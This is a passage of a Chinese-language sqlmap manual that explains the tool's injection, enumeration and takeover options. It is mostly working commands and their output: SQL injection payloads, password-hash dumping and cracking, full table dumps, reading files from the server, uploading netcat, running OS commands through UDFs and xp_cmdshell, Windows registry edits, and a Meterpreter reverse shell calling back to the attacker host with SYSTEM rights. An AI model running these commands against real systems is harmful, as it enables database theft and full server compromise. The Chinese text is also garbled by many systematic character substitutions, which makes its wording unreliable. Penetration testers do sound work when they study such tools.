[hh:mm:04] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause’
[hh:mm:04] [PAYLOAD] 1//anD//(SELeCt//9921//fROm(SELeCt//counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/
/(case//whEN//(9921=9921)//THeN//1//elsE//0//
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/
/fROm//information_schema.tables//
group//bY//x)a)
[hh:mm:04] [INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 AND error-based - WHERE or HAVING
clause’ injectable
[…]

探测
探测等级

参数:–level

共有五个等级,默认为1,sqlmap使用的payload能够在xml/payloads.xml中看到,你也能够根据相应的格式添加本身的payload。

这个参数不只影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

总之在你不肯定哪一个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
风险等级

参数:–risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增长基于事件的测试语句,3会增长OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能致使更新的整个表,可能形成很大的风险。

测试的语句一样能够在xml/payloads.xml中找到,你也能够自行添加payload。
页面比较

参数:–string,–not-string,–regexp,–code

默认状况下sqlmap经过判断返回页面的不一样来判断真假,但有时候这会产生偏差,由于有的页面在每次刷新的时候都会返回不一样的代码,好比页面当中包含一个动态的广告或者其余内容,这会致使sqlmap的误判。此时用户能够提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户能够提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也能够提供真与假条件返回的HTTP状态码不同来注入,例如,响应200的时候为真,响应401的时候为假,能够添加参数–code=200。

参数:–text-only,–titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不一样位置在哪里可使用–text-only(HTTP响应体中不一样)–titles(HTML的title标签中不一样)。
注入技术
测试是不是注入

参数:–technique

这个参数能够指定sqlmap使用的探测技术,默认状况下会测试全部的方式。

支持的探测方式以下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)

设定延迟注入的时间

参数:–time-sec

当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。
设定UNION查询字段数

参数:–union-cols

默认状况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增长测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
设定UNION查询使用的字符

参数:–union-char

默认状况下sqlmap针对UNION查询的注入会使用NULL字符,可是有些状况下会形成页面返回失败,而一个随机整数是成功的,这是你能够用–union-char只定UNION查询的字符。
二阶SQL注入

参数:–second-order

有些时候注入点输入的数据看返回结果的时候并非当前的页面,而是另外的一个页面,这时候就须要你指定到哪一个页面获取响应判断真假。–second-order后门跟一个判断页面的URL地址。
列数据
标志

参数:-b,–banner

大多数的数据库系统都有一个函数能够返回数据库的版本号,一般这个函数是version()或者变量@@version这主要取决与是什么数据库。
用户

参数:-current-user

在大多数据库中能够获取到管理数据的用户。
当前数据库

参数:–current-db

返还当前链接的数据库。
当前用户是否为管理用

参数:–is-dba

判断当前的用户是否为管理,是的话会返回True。
列数据库管理用户

参数:–users

当前用户有权限读取包含全部用户的表的权限时,就能够列出全部管理用户。
列出并破解数据库用户的hash

参数:–passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,而后列出hash,并尝试破解。

例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” --passwords -v 1
[…]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: ‘postgres_passwd’
what’s the dictionary’s location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: ‘/software/sqlmap/txt/wordlist.txt’
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: ‘testpass’ for user: ‘testuser’
[hh:mm:50] [INFO] found: ‘testpass’ for user: ‘postgres’
database management system users password hashes:
[] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[
] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass

能够看到sqlmap不只勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。

也能够提供-U参数来指定爆破哪一个用户的hash。
列出数据库管理员权限

参数:–privileges

当前用户有权限读取包含全部用户的表的权限时,极可能列举出每一个用户的权限,sqlmap将会告诉你哪一个是数据库的超级管理员。也能够用-U参数指定你想看哪一个用户的权限。
列出数据库管理员角色

参数:–roles

当前用户有权限读取包含全部用户的表的权限时,极可能列举出每一个用户的角色,也能够用-U参数指定你想看哪一个用户的角色。

仅适用于当前数据库是Oracle的时候。
列出数据库系统的数据库

参数:–dbs

当前用户有权限读取包含全部数据库列表信息的表中的时候,便可列出全部的数据库。
列举数据库表

参数:–tables,–exclude-sysdbs,-D

当前用户有权限读取包含全部数据库表信息的表中的时候,便可列出一个特定数据的全部表。

若是你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库全部库的全部表。

–exclude-sysdbs参数是指包含了全部的系统数据库。

须要注意的是在Oracle中你须要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段

参数:–columns,-C,-T,-D

当前用户有权限读取包含全部数据库表信息的表中的时候,便可列出指定数据库表中的字段,同时也会列出字段的数据类型。

若是没有使用-D参数指定数据库时,默认会使用当前数据库。

列举一个SQLite的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1” --columns -D testdb -T users -C name
[…]
Database: SQLite_masterdb
Table: users
[3 columns]
±--------±--------+
| Column | Type |
±--------±--------+
| id | INTEGER |
| name | TEXT |
| surname | TEXT |
±--------±--------+

列举数据库系统的架构

参数:–schema,–exclude-sysdbs

用户能够用此参数获取数据库的架构,包含全部的数据库,表和字段,以及各自的类型。

加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子:

$ python sqlmap.py -u “http://192.168.48.130/sqlmap/mysql/get_int.php?id=1” --schema --batch --exclude-sysdbs
[…]
Database: owasp10
Table: accounts
[4 columns]
±------------±--------+
| Column | Type |
±------------±--------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
±------------±--------+

Database: owasp10
Table: blogs_table
[4 columns]
±-------------±---------+
| Column | Type |
±-------------±---------+
| date | datetime |
| blogger_name | text |
| cid | int(11) |
| comment | text |
±-------------±---------+

Database: owasp10
Table: hitlog
[6 columns]
±---------±---------+
| Column | Type |
±---------±---------+
| date | datetime |
| browser | text |
| cid | int(11) |
| hostname | text |
| ip | text |
| referer | text |
±---------±---------+

Database: testdb
Table: users
[3 columns]
±--------±--------------+
| Column | Type |
±--------±--------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
±--------±--------------+
[…]

获取表中数据个数

参数:–count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可使用这个参数。

列举一个Microsoft SQL Server例子:

$ python sqlmap.py -u “http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” --count -D testdb
[…]
Database: testdb
±---------------±--------+
| Table | Entries |
±---------------±--------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
±---------------±--------+

获取整个表的数据

参数:–dump,-C,-T,-D,–start,–stop,–first,–last

若是当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的全部内容。

使用-D,-T参数指定想要获取哪一个库的哪一个表,不适用-D参数时,默认使用当前库。

列举一个Firebird的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/firebird/get_int.php?id=1” --dump -T users
[…]
Database: Firebird_masterdb
Table: USERS
[4 entries]
±—±-------±-----------+
| ID | NAME | SURNAME |
±—±-------±-----------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
±—±-------±-----------+

能够获取指定库中的全部表的内容,只用-dump跟-D参数(不使用-T与-C参数)。

也能够用-dump跟-C获取指定的字段内容。

sqlmap为每一个表生成了一个CSV文件。

若是你只想获取一段数据,可使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop 1,若是想获取第二段与第三段数据,使用参数 --start 1 --stop 3。

也能够用–first与–last参数,获取第几个字符到第几个字符的内容,若是你想获取字段中地三个字符到第五个字符的内容,使用–first 3 --last 5,只在盲注的时候使用,由于其余方式能够准确的获取注入内容,不须要一个字符一个字符的猜解。
获取全部数据库表的内容

参数:–dump-all,–exclude-sysdbs

使用–dump-all参数获取全部数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,须要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,由于有的管理员会把他当初用户数据库同样来使用它。
搜索字段,表,数据库

参数:–search,-C,-T,-D

–search能够用来寻找特定的数据库名,全部数据库中的特定表名,全部数据库表中的特定字段。

能够在一下三种状况下使用:

-C后跟着用逗号分割的列名,将会在全部数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在全部数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在全部数据库中搜索指定的库名。

运行自定义的SQL语句

参数:–sql-query,–sql-shell

sqlmap会自动检测肯定使用哪一种SQL注入技术,如何插入检索语句。

若是是SELECT查询语句,sqlap将会输出结果。若是是经过SQL注入执行其余语句,须要测试是否支持多语句执行SQL语句。

列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’” -v 1

[…]
[hh:mm:14] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo’’
[hh:mm:14] [INFO] retrieved: foo
SELECT ‘foo’: ‘foo’

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” --sql-query “SELECT ‘foo’, ‘bar’” -v 2

[…]
[hh:mm:50] [INFO] fetching SQL SELECT query output: ‘SELECT ‘foo’, ‘bar’’
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT ‘foo’, ‘bar’: ‘foo, bar’

爆破
暴力破解表名

参数:–common-tables

当使用–tables没法获取到数据库的表时,可使用此参数。

一般是以下状况:

一、MySQL数据库版本小于5.0,没有information_schema表。
二、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
三、当前用户没有权限读取系统中保存数据结构的表的权限。

暴力破解的表在txt/common-tables.txt文件中,你能够本身添加。

列举一个MySQL 4.1的例子:

$ python sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” --common-tables -D testdb --banner

[…]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner: ‘4.1.21-community-nt’

[hh:mm:40] [INFO] checking table existence using items from ‘/software/sqlmap/txt/common-tables.txt’
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
±------+
| users |
±------+

暴力破解列名

参数:–common-columns

与暴力破解表名同样,暴力跑的列名在txt/common-columns.txt中。
用户自定义函数注入

参数:–udf-inject,–shared-lib

你能够经过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,而后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。
系统文件操做
从数据库服务器中读取文件

参数:–file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数。读取的文件能够是文本也能够是二进制文件。

列举一个Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u “http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther”
–file-read “C:/example.exe” -v 1

[…]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: ‘C:/example.exe’
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: ‘/software/sqlmap/output/192.168.136.129/files/C__example.exe’
[…]

$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r–r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit

把文件上传到数据库服务器中

参数:–file-write,–file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数。上传的文件能够是文本也能够是二进制文件。

列举一个MySQL的例子:

$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” --file-write
“/software/nc.exe.packed” --file-dest “C:/WINDOWS/Temp/nc.exe” -v 1

[…]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[…]
do you want confirmation that the file ‘C:/WINDOWS/Temp/nc.exe’ has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file ‘/software/nc.exe.packed’

运行任意操做系统命令

参数:–os-cmd,–os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

那么他建立的这两个函数能够执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,若是被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会从新启用它,若是不存在,会自动建立。

列举一个PostgreSQL的例子:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1”
–os-cmd id -v 1

[…]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF ‘sys_eval’ already exist
[hh:mm:12] [INFO] checking if UDF ‘sys_exec’ already exist
[hh:mm:12] [INFO] creating UDF ‘sys_eval’ from the binary UDF file
[hh:mm:12] [INFO] creating UDF ‘sys_exec’ from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: ‘uid=104(postgres) gid=106(postgres) groups=106(postgres)’

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF ‘sys_eval’? [Y/n] y
do you want to remove UDF ‘sys_exec’? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually

用–os-shell参数也能够模拟一个真实的shell,能够输入你想执行的命令。

当不能执行多语句的时候(好比php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来建立一个web后门。支持的语言:

一、ASP
二、ASP.NET
三、JSP
四、PHP

Meterpreter配合使用

参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前用户有权限使用特定的函数,能够在数据库与攻击者直接创建TCP链接,这个链接能够是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:

一、经过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。
二、经过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
三、经过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
四、经过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof

列举一个MySQL例子:

$ python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1” --os-pwn --msf-path /software/metasploit

[…]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF ‘sys_bineval’ already exist
[hh:mm:33] [INFO] checking if UDF ‘sys_exec’ already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF ‘sys_bineval’ from the binary UDF file
[hh:mm:34] [INFO] creating UDF ‘sys_exec’ from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF ‘sys_bineval’ (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress … done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait…

_
                            | |      o

_ _ _ _ | , , _ | | __ |
/ |/ |/ | |/ | / | / _|/ _|/ / _| |
| | |_/|
/|/_/|/ / |/ |/_/ |/|_/
/|
|

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
  • – --=[ 674 exploits - 351 auxiliary
  • – --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[] Started reverse handler on 192.168.136.1:60641
[
] Starting the payload handler…
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF ‘sys_bineval’,
please wait…
[] Sending stage (749056 bytes) to 192.168.136.129
[
] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011

meterpreter > Loading extension espia…success.
meterpreter > Loading extension incognito…success.
meterpreter > [-] The ‘priv’ extension has already been loaded.
meterpreter > Loading extension sniffer…success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

Intel® PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0

meterpreter > exit

[*] Meterpreter session 1 closed. Reason: User exit

默认状况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

对Windows注册表操做

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前web应用支持堆查询。 固然,当前链接数据库的用户也须要有权限操做注册表。

读取注册表值

参数:–reg-read
写入注册表值

参数:–reg-add
删除注册表值

参数:–reg-del
注册表辅助选项

参数:–reg-key,–reg-value,–reg-data,–reg-type

须要配合以前三个参数使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1

常规参数
从sqlite中读取session

参数:-s

sqlmap对每个目标都会在output路径下自动生成一个SQLite文件,若是用户想指定读取的文件路径,就能够用这个参数。
保存HTTP(S)日志

参数:-t

这个参数须要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。
非交互模式

参数:–batch

用此参数,不须要用户输入,将会使用sqlmap提示的默认值一直运行下去。
强制使用字符编码

参数:–charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:

–charset=GBK

爬行网站URL

参数:–crawl

sqlmap能够收集潜在的可能存在漏洞的链接,后面跟的参数是爬行的深度。

例子:

$ python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/” --batch --crawl=3
[…]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset ‘ascii’
[xx:xx:00] [INFO] 42/56 links visited (75%)
[…]

规定输出到CSV中的分隔符

参数:–csv-del

当dump保存为CSV格式时(–dump-format=CSV),须要一个分隔符默认是逗号,用户也能够改成别的 如:

–csv-del=";"

DBMS身份验证

参数:–dbms-cred

某些时候当前用户的权限不够,作某些操做会失败,若是知道高权限用户的密码,可使用此参数,有的数据库有专门的运行机制,能够切换用户如Microsoft SQL Server的OPENROWSET函数
定义dump数据的格式

参数:–dump-format

输出的格式可定义为:CSV,HTML,SQLITE
预估完成时间

参数:–eta

能够计算注入数据的剩余时间。

例如Oracle的布尔型盲注:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1” -b --eta

[…]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19

而后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: ‘Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod’

sqlmap先输出长度,预计完成时间,显示百分比,输出字符
刷新session文件

参数:–flush-session

若是不想用以前缓存这个目标的session文件,可使用这个参数。 会清空以前的session,从新测试该目标。
自动获取form表单测试

参数:–forms

若是你想对一个页面的form表单中的参数测试,可使用-r参数读取请求文件,或者经过–data参数测试。 可是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
忽略在会话文件中存储的查询结果

参数:–fresh-queries

忽略session文件保存的查询,从新查询。
使用DBMS的hex函数

参数:–hex

有时候字符编码的问题,可能致使数据丢失,可使用hex函数来避免:

针对PostgreSQL例子:

$ python sqlmap.py -u “http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1” --banner --hex -v 3 --parse-errors

[…]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: ‘pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for type numeric: “:vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:” in /var/www/sqlmap/libs/pgsql.inc.php on line 35
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[…]

自定义输出的路径

参数:–output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
从响应中获取DBMS的错误信息

参数:–parse-errors

有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数能够会显出错误信息。

$ python sqlmap.py -u “http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” --parse-errors
[…]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27
[11:12:17] [INFO] target URL appears to have 3 columns in query
[…]

其余的一些参数
使用参数缩写

参数:-z

有使用参数太长太复杂,可使用缩写模式。 例如:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u “www.target.com/vuln.php?id=1”

能够写成:

python sqlmap.py -z “bat,randoma,ign,tec=BEU” -u “www.target.com/vuln.php?id=1”

还有:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “www.target.com/vuln.php?id=1”

能够写成:

python sqlmap.py -z “ign,flu,bat,tec=U,dump,D=testdb,T=users” -u “www.target.com/vuln.php?id=1”

成功SQL注入时警告

参数:–alert
设定会发的答案

参数:–answers

当但愿sqlmap提出输入时,自动输入本身想要的答案可使用此参数: 例子:

$ python sqlmap.py -u “http://192.168.22.128/sqlmap/mysql/get_int.php?id=1”–technique=E --answers=“extending=N” --batch
[…]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter ‘id’
heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1)? [Y/n] N
[…]

发现SQL注入时发出蜂鸣声

参数:–beep

发现sql注入时,发出蜂鸣声。
启发式检测WAF/IPS/IDS保护

参数:–check-waf

WAF/IPS/IDS保护可能会对sqlmap形成很大的困扰,若是怀疑目标有此防御的话,可使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

若是有保护的话可能返回结果会不一样。
清理sqlmap的UDF(s)和表

参数:–cleanup

清除sqlmap注入时产生的udf与表。
禁用彩色输出

参数:–disable-coloring

sqlmap默认彩色输出,可使用此参数,禁掉彩色输出。
使用指定的Google结果页面

参数:–gpage

默认sqlmap使用前100个URL地址做为注入测试,结合此选项,能够指定页面的URL测试。
使用HTTP参数污染

参数:-hpp

HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台颇有效。
测试WAF/IPS/IDS保护

参数:–identify-waf

sqlmap能够尝试找出WAF/IPS/IDS保护,方便用户作出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子:

